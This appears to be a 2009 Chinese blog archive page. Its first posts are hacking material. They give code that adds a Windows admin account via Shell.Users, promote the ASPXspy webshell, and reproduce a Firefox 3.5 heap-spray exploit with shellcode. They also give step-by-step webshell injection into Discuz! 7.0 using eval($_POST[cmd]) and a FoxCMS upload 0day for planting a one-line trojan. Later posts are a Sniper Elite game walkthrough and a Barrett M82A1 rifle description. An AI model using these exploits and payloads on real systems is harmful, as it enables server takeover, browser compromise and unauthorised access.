命令行下一种新的加帐号的方法

2009年7月15日 Chinadu 没有评论 20 views

作者：lcx

今天研究了一下用户控制面板文件nusrmgr.cpl，发现调用的是Shell.Users来加用户，它还同时调用了 wscript.shell、Shell.Application、Shell.LocalMachine这三个组件。不过加用户的话，这一个 Shell.Users就足够了。那么可能在删掉了net.exe和不用adsi之外，这也可能是一种新的加用户的方法。代码如下：

js:

var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;

vbs:

Set  o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
分类: 技术文章 标签:

ASPXspy 2.0

2009年7月15日 Chinadu 没有评论 92 views

作者：Bin

1.开发环境VS2008 + C#，兼容FrameWork1.1/2.0，基本实现代码分离,CSS方便参考了phpspy。
2.密码为32位MD5加密(小写) 默认为 admin.
3.全部采用POST方式提交数据，增强了隐蔽性。
4.增强了IIS探测功能，遍历IIS站点信息，绝对路径，多域名绑定，以及IIS账号密码。
5.增加了对指定文件的搜索功能。
6.修正了一些数据库操作的BUG。
7.增强了对注册表的读取，此部分由BloodSword完成，在此感谢。
8.修正了对端口的多线程扫描
9.增强了端口转发功能，参考了Cnqing的一些代码，在此感谢。

免责声明：此工具为安全检测工具，任何人使用此工具，做违法国家法律的事情，责任自负！
联系方式：E-mail:master@rootkit.net.cn Blog:www.rootkit.net.cn

下载地址：ASPXspy2.rar

分类: 资源共享 标签:

Firefox 3.5 Heap Spray Vulnerabilty

2009年7月15日 Chinadu 没有评论 24 views

<html>
<head>
<title>Firefox 3.5 Vulnerability</title>
Firefox 3.5 Heap Spray Vulnerabilty
</br>
Author: SBerry aka Simon Berry-Byrne
</br>
Thanks to HD Moore for the insight and Metasploit for the payload
<div id="content">
<p>
<FONT>                            
</FONT>
</p>
<p>
<FONT>Loremipsumdoloregkuw</FONT></p>
<p>
<FONT>Loremipsumdoloregkuwiert</FONT>
</p>
<p>
<FONT>Loremikdkw  </FONT>
</p>
</div>
<script language=JavaScript>

/* Calc.exe */
var shellcode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +  
                       "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +  
                       "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +  
                       "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +  
                       "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +  
                       "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +  
                       "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +  
                       "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +  
                       "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +  
                       "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +  
                       "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +  
                       "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +  
                       "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +  
                       "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +  
                       "%u652E%u6578%u9000");
/* Heap Spray Code */            
oneblock = unescape("%u0c0c%u0c0c");
var fullblock = oneblock;
while (fullblock.length<0x60000)  
{
    fullblock += fullblock;
}
sprayContainer = new Array();
for (i=0; i<600; i++)  
{
    sprayContainer[i] = fullblock + shellcode;
}
var searchArray = new Array()

function escapeData(data)
{
var i;
var c;
var escData='';
for(i=0;i<data.length;i++)
  {
   c=data.charAt(i);
   if(c=='&' || c=='?' || c=='=' || c=='%' || c==' ') c = escape(c);
   escData+=c;
  }
return escData;
}

function DataTranslator(){
    searchArray = new Array();
    searchArray[0] = new Array();
    searchArray[0]["str"] = "blah";
    var newElement = document.getElementById("content")
    if (document.getElementsByTagName) {
        var i=0;
        pTags = newElement.getElementsByTagName("p")
        if (pTags.length > 0)  
        while (i<pTags.length)
        {
            oTags = pTags[i].getElementsByTagName("font")
            searchArray[i+1] = new Array()
            if (oTags[0])  
            {
                searchArray[i+1]["str"] = oTags[0].innerHTML;
            }
            i++
        }
    }
}

function GenerateHTML()
{
    var html = "";
    for (i=1;i<searchArray.length;i++)
    {
        html += escapeData(searchArray[i]["str"])
    }    
}
DataTranslator();
GenerateHTML()
</script>
</body>
</html>
<html><body></body></html>

# milw0rm.com [2009-07-13]

分类: 技术文章 标签:

Discuz! 7.0 及以下版本后台拿webshell（无需创始人）

2009年7月15日 Chinadu 没有评论 59 views

作者：oldjun

我很少关心之类的漏洞，已经很少拿站了，遇到DZ更加只是路过，也没去过多关心DZ的漏洞或者去研究代码；前不久论坛被人留下一个shell，害我检查半天，不过既然遇到了，那就公布出来方便大家。

我先声明：
1.这个不是我首发，很多牛牛很早之前就发现了，但没人公布，ring04h牛那貌似有个：http://ring04h.googlepages.com/dzshell.txt，估计知道的人很多了，我研究的少，知道迟了，惭愧惭愧；
2.我从拿到shell的IIS日志知道这里可以利用，即styles.inc.php这个文件，于是看了下，找到利用办法。后来经flyh4t提醒，居然与ring04h的那个方法一样，我落后了...

好了，不废话，看代码：

<?php
......
if($newcvar && $newcsubst) {
if($db->result_first("SELECT COUNT(*) FROM {$tablepre}stylevars WHERE variable='$newcvar' AND styleid='$id'")) {
cpmsg('styles_edit_variable_duplicate', '', 'error');
} elseif(!preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/", $newcvar)) {
cpmsg('styles_edit_variable_illegal', '', 'error');
}
$newcvar = strtolower($newcvar);
$db->query("INSERT INTO {$tablepre}stylevars (styleid, variable, substitute)
VALUES ('$id', '$newcvar', '$newcsubst')");
}//插入变量数据，From www.oldjun.com
......
updatecache('styles');//更新缓存（写文件），From www.oldjun.com
......
?>

这是为某一style风格增加变量的代码，把变量名与变量的值存入数据库，虽然post过来的数据daddslashes了，但入库之后又都是纯净的数据了。

这里涉及到一个正则问题，判断变量名的：!preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]* /", $newcvar)，其中“\x7f-\xff”是指ASCII码值在127～255之间的字符，它们经常作为中文字符的首字节出现，所以可以利用其作为中文匹配的标志。于是这个匹配貌似只是允许字母或者中文做变量名，没其他高深的匹配，随便测试了下，一般情况下这个正则等于虚设：

<?php
$newcvar=$_GET['newcvar'];
echo $newcvar;
echo "<br>";
if(!preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/", $newcvar)) {
echo "haha";
}else{
echo 'pass';
}
?>

下面看看updatecache这个函数，在include里的cache.func.php文件里，先从数据库取出来，经过一段处理最终写入文件，具体我不描述了，我只谈谈重点，看一段函数：

function getcachevars($data, $type = 'VAR') {
$evaluate = '';
foreach($data as $key => $val) {
if(is_array($val)) {
$evaluate .= "\$$key = ".arrayeval($val).";\n";
} else {
$val = addcslashes($val, '\'\\');
$evaluate .= $type == 'VAR' ? "\$$key = '$val';\n" : "define('".strtoupper($key)."', '$val');\n";
}
}
return $evaluate;
}

啥也不说了，处理了value没处理key，而这个key就是之前我们提交的，干净的存在数据库里的值。关于数组的key，大家可以参考下幻影旅团第三期《高级PHP代码审核技术》，那篇文章好多地方谈到key的问题，dz这里却忽视了...

于是可以直接拿shell了，利用方法（论坛地址改成自己的），先用管理员帐号登陆后台，无需论坛创始人，管理员等级即可：

http://www.oldjun.com/bbs/admincp.php?action=styles&operation=edit&id=1&adv=1

中，最下面有个“自定义模板变量”，变量中填：

OLDJUN', '#999');eval($_POST[cmd]);//

替换内容随便输入：1111，然后提交，一句话木马就产生了：

http://www.oldjun.com/bbs/forumdata/cache/style_1.php

如果你修改的style的id是2的话，对于的shell就是style_2.php。

这个风格模板可以导入导出的，于是有了ring04h的那个dzshell，嫌麻烦可以直接用那个导入风格获取shell。

分类: 技术文章 标签:

风讯 4.0 SP7 getshell 0day

2009年7月13日 Chinadu 没有评论 29 views

影响版本：<=4.0 sp7，前面的版本没去看，估计也能日。
利用条件，开启了文件上传功能，iis6环境。

漏洞描述：建立目录的地方，名称过滤上有失误，导致可以绕过过滤建立一个.asp目录
首先注册个账号访问http://www.bbb.com/User/CommPages/FolderImageList.asp?f_UserNumber=06150583700&Type=AddFolder&Path=/userfiles/
06150583700/aaa.asp//&CurrPath=/userfiles/06150583700
其中这个06150583700是你的userid，登录了直接可以看到，建立一个.asp目录

因为风讯浏览目录的地方也过滤了.，所以建立的子目录进不去。本地构造表单：

<form name="FileForm" method="post" enctype="multipart/form-data" action="http://www.bbb.com/
User/Commpages/UpFileSave.asp?Path=/userfiles/06150583700/aaa.asp">
    <input type="hidden" name="AutoReName" value="2"><br>
    <input type="hidden" name="Path" value="/userfiles/06150583700/aaa.asp">
    <input type="file" size="20" name="File1">
    <input type="hidden" name="FilesNum" value="1">
    <input type="submit" id="BtnSubmit" name="Submit" value=" 确 定 ">
    <input type="reset" id="ResetForm" name="Submit3" value=" 重 填 ">
</form>
传个夹带一句话的图片上去
恶心的地方来了，传上去的文件名是日期+时间+5位随机数（可能是4位3位2位1位，反正最大5位），
这个我跟bink研究了半天，没有办法看到-_-，用管中窥豹有个暴力猜接上传路径的功能，
先在正常目录里上传个文件，卡一下本地跟远程的时间差，然后传到.asp

目录里，把秒数误差控制在3秒以内，开始跑吧~~然后自己该干嘛干嘛去,
RP过关的话几个小时内应该能出结果-_-
分类: 技术文章 标签:

狙击精英:攻略【超详细版】

2009年7月13日 Chinadu 没有评论 543 views

攻略:

为了写这个攻略，重新从新手玩了一遍，想尽量详细的记录每一个通过的细节。虽然网上也可以搜索到这个游戏的攻略，但基本就是一个版本到处粘贴，而且也不是很详细（但还是要感谢写攻略的人，毕竟也是看着攻略过来的）。另外，也的确是很喜欢这个游戏，虽然刚刚进入的时候也有点失望，但你越是玩到后面就会越是喜欢，看子弹回放一枪1000多米远的时候真是过瘾啊。（虽然前期就只能是几十米，可到后面你会在游戏里面越来越厉害，真正的成为一个“狙击精英”。补充：同可以配合看《杀手同盟》电影，同样的子弹回放镜头，除去子弹不同，别的都差不多，哈哈）欢迎同样喜欢这款游戏的朋友一起交流。

KARLSHOREST

阅读全文...

分类: 影音娱乐 标签: ,

狙击精英操作和攻略

2009年7月13日 Chinadu 没有评论 1,941 views

二。狙击精英游戏操作：

前.....................................................W

后.....................................................S

左.....................................................A

右.....................................................D

行走........................................左 SHIFT(按住不放)

加快速度......................................滚轮(上)

减慢速度......................................滚轮(下)

拾起/扔掉物品...............................G

地图/简报.....................................TAB

交谈.................................................T(联网功能)

己方交谈.........................................U(联网功能)

行动(如背伤员).........................E

详细目录..........................................I

变换姿势 .......................................Z

使用物品.........................................X

选择前一个物品/武器....................。

选择后一个物品/武器 ..................，

锁定目标.........................................Q

狙击模式........................................空格

望远镜模式.....................................B

行动/收起武器...............................C

拉近 ...............................................]

放远.................................................[

开火..........................................鼠标左键

上弹.................................................R

屏气.................................................F

手枪..................................................1

狙击枪..............................................2

机枪..................................................3

重武器..............................................4

手雷..................................................5和6

扔雷(选了手雷)......................鼠标右键(按住左键不放)

手雷瞄准(选了手雷)..............鼠标左键

i键打开附属武器菜单, <键和>键翻转, X键选择和使用武器. 其中地雷选中后X键埋下,S键向后拉拌线,再X键埋下.

Namco制作的《狙击精英》(Sniper Elite)做到了超乎玩家想象的地步，他们特别注意游戏中的每一个细节变化，尽可能进加强了游戏的互动性，在游戏中玩家随时感受到来自敌人的强大挑战。

《狙击精英》这款游戏故事发生在第二次世界之后期，地点是在德国的柏林。德国纳粹党人的势力已经开始逐步走向衰败。斯大林为了尽快掌握原子弹的制造技术，专门派遣苏联特务机关去窃取德国研究原子弹的机密情报。美国为了阻止它的这一行动，特派出伪装成德军的狙击手，潜入德国去阻止苏联先行一步获得原子弹的机密资料。这样一来，各国为了自己的利益秘密行动便展开了——

在新的游戏中，玩家扮演的是美国OSS(CIA的前身)的一名精英狙击手，主要任务是阻止苏联获取德国核武器研究成果的计划。为了阻止苏联的行动，玩家将乔装成一个德军士兵，抢先深入敌后阵线去打探军事秘密。在这个秘密行动中，玩家要随身携带各种必要武器，不停的四处转移，同时还要进行面对面的战斗、远距离的狙杀等活动。作战场面真实。遇上下雨天，阴冷的雨点不断落下，会让人感觉好似走进一个真实的世界去体会雨天作战的场面。视角变化非常灵活，不论玩家怎样移动都会觉得轻松自如。

在《狙击精英》这款游戏中，总共有28个任务需要玩家来完成。作战方式很自由，玩家可以单人完成，也可以双人合作来进行冒险活动。不过要注意的是，游戏中的作战动作设计非常专业，玩家要考虑重力，风力和心跳频率等因素对作战行动的影响。比如说距离敌人的目标很远，如果不考虑这些相关因素的影响，得玩家不但可能伤不到敌人，反而会打草惊蛇。让敌人会抓住你的准确位置，进行猛烈攻击。

Rebellion游戏公司特别强调，《狙击精英》绝对不是一款只有射击动作的游戏，它的重点主要集中在秘密行动和狙击这些地方上。。倘若玩家可以一枪爆头，那就可以观赏到慢镜头下子弹的轨迹特写，目送自己的子弹穿透敌人的头盖骨。游戏中提供了多种武器种类，比如有经常使用的G43、K98狙击枪，鲁格手枪，手榴弹，MG机关枪等武器。为了方便作战，玩家可以选择多种武器。只要你能够用你的枪瞄准敌人的头，敌人被子弹打得血肉模糊的画面马上可以呈现你的眼前，那种虐杀的成就感很爽的。

在游戏里占据有利的地形是非常重要的。但是有一点，玩家不能在有利的位置上长时间守候敌人。因为此时候敌人可能正在小心地搜寻你的位置，你还在莫名其妙的时候就会被敌人做掉。所以要对付狡猾的敌人，必须随时变换有利位置去应付，这样才不会被敌人发现。有的时候敌人还会作出阴险的伏击，这样谁先发现对方，谁就是这场对决的胜利者。

三。狙击精英 攻略:

KARLSHOREST

第一节 Meet the informant

开始在一个大的广场中间，先熟悉一下各个开关吧！这里先趴着慢慢潜行吧！
开始听到有敌人讲话的声音，就说明敌人离你不远了。多看看指南针，红色箭头表示你要完成的主要任务，绿色表示次要任务。
主要任务是一定要完成的。用狙击枪干掉几个敌人后，按指南针指示来到一座房子废墟中间，找到队友(一个通讯兵)完成任务1。
接着按箭头和他一起前进到桥另一边的房子废墟处，注意周围的敌人和坦克，以躲避为主。进入废墟找到一个受伤的兄弟，完成任务2。
接下来需要背起受伤的兄弟去和大部队汇合。按g键可以捡起地上的武器，如果长按g键在敌人的尸体上进行搜索，可以找到一些如血包之类的补给，
这个还是蛮有创意的。这个游戏中使用一些近距离作战武器，难度不是很大。
开始前进吧！远距离就多用狙击枪吧！找到队伍后完成任务3。
然后就是撤退了，位置在刚开始出来的广场那里，还记的吧！
这时会有一辆坦克出来拦截，火力凶猛。
会提示你要干掉它。用狙击枪吧！
击中坦克上面的一个油箱，轰！！！敌人上天了。
上前去坦克后面的街，OVER！

第二节 ASSASSINATE BOTMANN

开始和对友分两个方向前进，注意路上两个碉堡内的敌人，用狙击枪清除后继续前进。
这里要注意高处楼上的敌人狙击手，战友会帮你消灭的啦，抵挡一阵就好。
全部干掉后完成任务1和2。接着向路的右边进发，干掉几个冲出来的敌人后，占据AMNO DUMP。
这里好多枪啊补给一些吧，继续前进到街角，注意右边楼上的狙击手，和他对狙吧。
边杀边前进，来到坦克基地清光所有敌人后完成任务4。接着会有对友冲出来进入坦克基地，用火箭炮痛扁敌人坦克。
用我的狙击枪掩护他们啦！消灭光这里的敌人后完成任务5。
然后去坦克基地一处帐篷内找到大量补给，CG过后完成任务6并追加新的任务，慢慢回去开始的AMNO DUMP(弹药库啦)干掉附近一辆巡逻的坦克后，
使用TNT炸药,用狙击枪引爆,自己要离远一点,否则………,再次返回到坦克基地和军队内的兄弟们会合，OVER！

第三节 SNIPER IN NIGHT

这一关在晚上，没有夜视装置，哈哈，慢慢爬了！这里不要硬来，用无声手枪击毙开始巡逻的敌人！
不要一直走，那里火力太强，在街道的左边围墙处找到一个小洞后爬进去，完成任务1。
来到里面的广场后，用狙击枪将视野之内的所有敌人清光，注意高处的敌人。
完成任务往前有两辆卡车，慢慢靠上去放置TNT(用i键调出来)然后退回去用狙击枪射击爆炸，或者射油箱上的盖子,完成任务2。
然后跳下战壕去向前进发一路上的敌人不去管他，让他们去火拼吧！
来到最尽头出有一个雕像处，取得文件完成任务3。接着小心警戒，清光附近所有敌人后来到前方阵地处一个高射炮前面放置TNT方法同上，
轰上天后完成任务4，最后按指南针指示快速逃离至大门口。OVER！

第四节 Assassinate Bormann

开始多多补给吧！
一直走左转杀了两个巡逻的敌人继续前进几步。
CG过后会有个兄弟给你一直传说中的神狙SVT。
哈哈，这个厉害多了，换了它吧！(长按G键)任务1完成。
继续前进到广场处左转，这里敌人很多，使用冲锋枪吧！找到待命的卡车后，用TNT送它上天，完成任务2然后在附近的房子里找到敌人军官杀了他完成追加任务！
这时候会来一两小汽车，不用躲的，冲上去一顿乱枪打死车内的人赶紧跑回难道新的神狙SVT的地方过关！

EXTRACT THE AGENT

第一节 Miss Contact

开始将附近的敌人远距离灭杀后上到一座桥，敌人蜂拥而来，清光他们后完成任务1。
接着边打边冲，下桥后向另一座桥出发，反正顺着指示吧！
在桥下的一个房间内得到补给完成任务3。
接着按指示来到一个房间内找到墙后面的Miss Contact完成任务4，
最后还是按方向指示避开一路上的坦克走到离开的街上过关！

第二节 Meet The Courtier

开始向前进攻，杀光废墟上房子里的敌人后，在屋子前一辆轿车的敌人身上获得文件完成任务1，
接着看方向指示向前进发，注意这里高处的敌人SNIPER，听到坦克的声音尽量避开，前面有一辆装甲车拦路，
一定要打的啦，学着用火箭炮吧！干掉它后一路杀到路的尽头OVER！

第三节infiltrate the square

开始干掉几个从车上下来的敌人后，继续潜行！
到底左转向右前方进发，来到一个有雕像和坦克的广场上，进一个门遇见OSS AGENT！CG过后完成任务1。
去另一个方向杀掉一个敌人军官后获取他的ID和制服，往前不远处的一个房子内就是！
杀了他后并扛着他的尸体回到遇见OSS AGENT那里，
完成任务3，接着按箭头指示走吧，走几步就过关了！

第四节The French Cathedral

开始不要从中间的大路走，有个很破旧的房子内穿过去来到内侧广场。
悄悄潜入中间最高的钟楼房子！
刚才的那个OSS AGENT已经混入敌人内部可惜被发现了，现在他想全身而退了，用狙击枪掩护他吧！
这个场景有点象兄弟连了！
狠狠K完敌人后下楼回到这节刚开始的地方。CG动画，我方的战斗机根据情报来了个低空扫荡，COOL！
接着你可以杀入广场，将那些惊魂未定的敌人清光后，提示回到刚刚开始的那个地方，直接跑回去就可以了

第五节 Exflitrate the square

开始回到前面有个同伴军官OSS AGENT的地下室门口的雕像处门口，得到一些补给。
然后按箭头指示方向前进，在外面的街道口消灭几股敌人后完成任务1。
接着还是看地图，来到一个破旧的房子废墟处，趴下来钻进去里面的洞内，等外面的敌人过去之后就完成此节任务了！

KARLSHORST REPRISE

Destroy The Fuel Dump

这一关是夜里作战，开始尽量靠左边行进。注意岗楼里的哨兵,可以干掉他.
从基地正门进入,慢慢KILL里面的敌人,注意由于后面会有敌人军官乘火车进来,所以靠火车站附近的敌人尸体可以搬到隐蔽处.
如果等会让敌人军官下车看见尸体,任务就失败了!
然后去左边的两个油罐处放置定时炸弹,用左右方向键调节时间,建议在10分钟!
如果早爆炸的话会被发现的.然后去反方向另一个控制台放置炸弹完成任务1.这时候找个地方躲起来,任务提示有火车进站了, 敌人军官下车走进房子.
这里千万不要紧杀了他.CG画面后,提示可以进入杀了他取走资料,完成任务2,3.最后可以原路返回啦.
跑到任务开始的地方山洞里面进入后,完成任务!

The Scientists

第一节 Secure U-Bahn Station

开始附近有一点补给，接着下去到桥的右边过桥，之前可以先用狙击枪清理光视线之内的敌人。
按箭头来到河边的一个小船上得到补给完成任务1。
去前面的地道内进入后杀光敌人，到地道中间有一个通讯装置，CG过后搜查MESS AGE 完成任务2。
接着根据RADIO OFFER MESSAGE的指示去箭头指示的方向，就是刚开始出来的房子反面的广场，CLEAR敌人后完成任务3
最后跑去广场的内侧一角。结束本节！

第二节 Prevent Reinforcement

下雨了，开始向坦克处进发，注意躲避它的火力，还是闪啦！
来到后面小巷内，提示要快速消灭敌人军官，以防止他毁灭重要文件，在一处破房子内找到后杀了他完成任务1。
然后往前进发时敌人增援卡车前来，找个地方躲藏起来吧！等汽车停下来以后，干掉所有的敌人。
用手雷或TNT将三辆卡车全部炸毁完成任务2。
接着去旁边一间房间内搜索文件和补给完成任务3。
最后一路杀回去，就是刚开始出来的那里，顺利回到那里后结束本节！

第三节 Anhalter Station

开始出来进入火车站，，一旦警报触发会赶来很多敌人，
杀到楼上后完成任务1接着下楼清光火车附近的敌人完成任务2然后去火车头附近有个放置炸弹的标记处，TNT啦！
完成任务3。这时在去刚才的楼顶了望完成任务4。
这是CG敌人发现我的潜入了，会有敌人冲进来！
边杀边冲出去，这时敌人增援卡车也赶来了
。一定要快速消灭里面的敌人，不然他们会杀了科学家们！
CLEAR后结束本节！

RAID ON NORDSIG

第一节 Via The U-Bahn

开始在地下铁路前进，将下层的敌人清除光之后一路沿着铁路进发，
视野不是很好，所以多里用手雷吧！一路向前到底后，
上去二楼搜索每一个房间。把敌人消灭光后上去再上一个楼层后就过完这节了！

第二节 Approach To Nordsig

开始来到一个大广场左转，从小巷出去后左转在外面干掉几个敌人后，
来到街上在一大块木板掩体后面K一个了望哨兵后完成任务1。
继续前进，这里有一辆坦克，躲开它为上计！接着往前杀吧！
直走就OVER本节了

第三节Eliminate Guard port

开始向一个工厂区进发，在大门口干掉几个敌人后，
注意门口的装甲车，火力凶猛啊！从左边进入大楼，
一路杀过去到底的房间。完成任务1用狙击枪干掉几个对面房间的敌人！
出去后进入那个房子，杀上2楼CLEAR，在窗口可以得到一些补给完成任务2。
接着可以直接在窗口跳出去，到刚才的大楼顶上，那里有几个敌人狙击手，干掉他们后。
利用制高点的优势将厂区内的所有敌人都KILL！
完成任务3最后跑去刚开始进入厂区的第一个房间那里面有个门CG过后就结束本节了！

第四节 Nordsig HW Plant

进入车间在右边楼下的房间内取得爆炸物品和一些补给，完成任务1接着进入车间
，这里敌人很多，漫漫长路啊！然后到底出门消灭外面广场上的敌人后，
在中间一个木箱子里得到补给，然后去对面的大楼上楼来到一个车间，
这里下去杀了几个敌人后去正面两个大铁门处，这里会提示用定时炸弹。
(定时不能少于4分钟)放置好后找地方躲起来，小心离开远一点！炸开铁门后进去另外一个厂区，
按箭头在此区域搜索到一个房间内找到教授DR.MAX LOHMANN.
完成任务2原路返回车间内,在几个大的存储罐中找到一个手柄开启后完成任务3.
接着来到外面车间上二楼找到一个军官在干掉他之前取得密码,完成任务4.
接着要回去了,就是刚才来的那个大广场方向,回去对面的厂区内,
在二楼右边有一个房间内干掉三个敌人后利用刚才的密码打开保险库大门完成任务5

CG过后去到对面的房间找到无线电通讯装置，完成任务6。这里敌人很多，要有耐心打啊！
最后就是安全撤离了，
回到外面广场上吧！出门之前先将外面的敌人清光，特别是高处的狙击手！
然后跑到对面房子的外面楼梯上就可以结束本节了！

第五节 Assist Oss Team

开始在屋顶下来用狙击枪掩护队友们进入，
干掉下面院子里的所有敌人后下楼出去，这时会有一辆坦克车过来开火，哈哈干掉它吧
！可用手雷或TNT，用法都应该知道了吧！用TNT需要有耐心，手雷就需要技术了！
干掉它后完成任务2。接着会有队友进入厂区和自己会合，然后需要去厂区外的大楼处，
干掉几个躲在屋顶的敌人狙击手！清除完成后还是自己根据雷达上的箭头去指定的地点就结束本节了！

第六节 Exfiltrate Nordsig

开始干掉几个敌人后，可以顺着箭头指示慢慢前进，
在一个房间内和OSS同仁会面，这里可以得到终极武器ELITE SNIPE 这把枪的射程更远，
完成任务1接着任务提示可以去干掉地图上绿色标志的三个敌人狙击手，这个是分支任务，也可以不理！
一路按照箭头指示，边杀边前进啦。来到一个有大型的U字的地道口，进入地道后就完成此节了！

Recover The U2 Tech

第一节 Cut Communication

开始一些补给后，按箭头指示一路小心前进，
这时会有提示说需要干掉三个敌人的摩托车，就是分别完成任务1、2、3。
这里可以先从一个很破的房子左边的一条小道慢慢往前渗透，
可以看到门口有一辆摩托车和一个巡逻的敌人，远距离用狙击枪射杀他后，不要进入那个房子，
悄悄的走到门口一个大的木板处，利用手雷炸掉门口的摩托车和门里面可看见的那辆摩托车，
这里要注意隐蔽！
一旦被敌人发现，冲出来就很难完成任务！接着还是不要进去房子里，
从刚来的小路返回，出去后右转，也就是绕道房子的另一面，注意消灭附近的敌人，
这时任务提示的第三辆摩托车会开出来，注意干掉它后任务1.2.3就都完成了！
这时要快速冲入房子内在右边的一个房间内找到敌人军官干掉他后完成任务4，然后就是离开罗！
看看箭头指示吧！到了指定地方后就完成本节任务了！

第二节 Destroy Ammo Dump

大凡每节刚出来时候都有补给，不要忘了啦！
在左边的一条街上有两个小房间，进入消灭里面的敌人后，发现有一个通讯装置，给它一个手雷啦！
完成任务1。继续前进，敌人不多，按箭头指示可以找到前面不远处有几辆停着的卡车，用TNT结果它们完成任务2。
下面要做的就是去找弹药库了，不难！多看看地图！用TNT炸了这两个弹药库后，完成任务3和4，最后按指示安全抵达撤离地点就结束本节了！

第三节 Disable Katyushas

开始消灭几个敌人后和前面的自己人会合，SAY:EAGLE WATCH! 完成任务1。然后他会

要求你去前面的地区救出自己的一个伤员，按地图显示找到他完成任务2然后背他回到开始的地方来！
完成任务3。接着去东西两面的两个大广场干正事吧！
炸毁敌人的导弹发射车！一共有两处，导弹发射车周围屋顶会有多个狙击手在那里等着你，哈哈！
这里建议用爬得比较安全！找到这里不难，消灭敌人后然后还是使用TNT。
把两处的发射车都炸了以后就可以胜利回家了！
看看箭头的提示回去就完成本段了！

第四节 Holzmarkt Train Yard

开始靠街道的左边前进，往右会被装甲车机枪弹击中的哈哈！
一直到前面,有个卡车有敌人在下车的地方冲上去干掉他们，完成任务1.这里有些补给的。
然后回去刚才路上经过的火车站那里，冲入之前可以先用狙击枪干掉一些敌人！慢慢进入，敌人后不断出来，我们的目标是去炸毁化学物品灌装车厢。
圆形的那种啦！完成任务2后，就快速回到刚开始的地方，路上的敌人也不要去管他啦！
顺利到达结束本节！

第五节 The Schloss

夜里很黑，开始向大桥进发。
先干掉三个哨兵,否则等一下会腹背受敌..CG过后换冲锋枪一路就杀过去了！
清理完附近的敌人后完成任务1过了桥以后前面有个碉堡，进入继续清除吧！
完成任务2这是前面大楼的一楼有个通道可以直接上楼去，手雷！杀到楼顶会有CG画面，
提示要掩护下面的友军进入自己身处的大楼，多次利用狙击枪吧！
完了以后会有过场CG，大楼内部的一楼会有敌人冲出来，这时去另一面的窗口，还是用狙击枪掩护吧！
结束之后下楼，和队友们会合后结束本段！

Escape From Berlin

第一节 Extract the Polit

最后的任务了，开始看地图在敌人行车路线上等待,会听到远处有汽车的声音传来，找个地方躲起来。
用枪打中轮胎后两辆汽车会停下来！或者用地雷也可以..
去第二辆车里面就出自己的伤员。
完成任务1。接着他会要求你去指定的房子解救出他的兄弟，按箭头来到一个圆顶的天文馆内，
杀进去来到二楼就出兄弟！哈哈完成任务2,注意高楼上会有一个狙击手.接着就要回到刚才那个解救到的伤员处，
用按键E控制他跟随你走，小心路上的敌人！按箭头到达目的地过了本节！

第二节 journey to Tempelhof

会有敌人从两边冲上来, 注意全部消灭后, 会提示干掉两辆坦克,
用TNT吧, 然后消灭全部敌人后过关.

第三节 Tempelhof Airport

到了一个机场上，就是完成最后任务逃离柏林！
开始在飞机仓库内消灭几个敌人后，完成任务1。
接着有要求去油库安定时炸弹,制造混乱,可干可不干.
去对面最高的控制台顶层，这里注意用手枪！消灭后到达顶楼干掉一个军官后完成任务2。
然后可在那里用狙击枪打死两个高射机枪旁的敌人,分别在500米和1000米左右,还要干掉机车里的敌人,
注意风很大, 然后掩护从机库驶出的飞机, 狙击要求较高, 要迅速准确,并且有敌人从楼梯上来,用手雷吧。

四。狙击精英中狙击手的位置，这个帖子里面有详细的图文标注，凭此可以少挨不少黑枪哈

分类: 影音娱乐 标签: ,

巴雷特M82A1

2009年7月12日 Chinadu 没有评论 31 views

巴雷特公司的M82A1
　　巴雷特M82A1是当今使用最广泛的大口径狙击步枪(反器材步枪)之一，几乎占领了.50狙击步枪市场的统治地位。目前至少已装备英国、法国、比利时、意大利、丹麦、芬兰、希腊、意大利、墨西哥、葡萄牙、荷兰、沙特阿拉伯、瑞典、西班牙、土耳其等30多个国家的军队或警察部队。M82A1也被广泛用作民间的.50口径射击比赛，用于1000码(911米)甚至更远距离上的射击比赛
　　M82A1半自动狙击步枪，采用枪管短后坐原理，半自动发射方式。枪管短后座原理是著名枪械设计师勃朗宁(John M. Browning)开发的，而巴雷特将这种原理改进使之适合作为肩射武器的自
　　M82A1自带机械瞄具，也可以安装光学瞄具。原枪配用巴雷特公司的10倍瞄准镜，而海军陆战队所用的则是与M40A1相同的10倍Unertl瞄准镜。
　　M82A1可以迅速地分解成上机匣、下机匣及枪机框3部分。分解销位于机匣右侧，一个在弹匣前方，另一个在枪托底板附近。上下机匣是主要部分，为了保证其强度及耐磨性选用了高碳钢材料。下机匣联接两脚架、枪手底板及握把，其内部包括枪机部件及主要的弹簧装置。上机匣主要包括枪管部分，即枪管、枪管复进簧和缓冲器。焊接在上机匣上面的是机械瞄具、光学瞄准镜座及提把，而与内部焊接在一起的是枪管衬套及枪管止动销。当击发后，火药气体推动弹头沿枪管向前运动，同时又作用于弹壳底部，将推力传给枪机，再由枪机闭锁突笋传给枪管节套，最后通过枪机体传到枪机框后部。这样可以分散射击时产生的振动，避免损坏闭锁机构
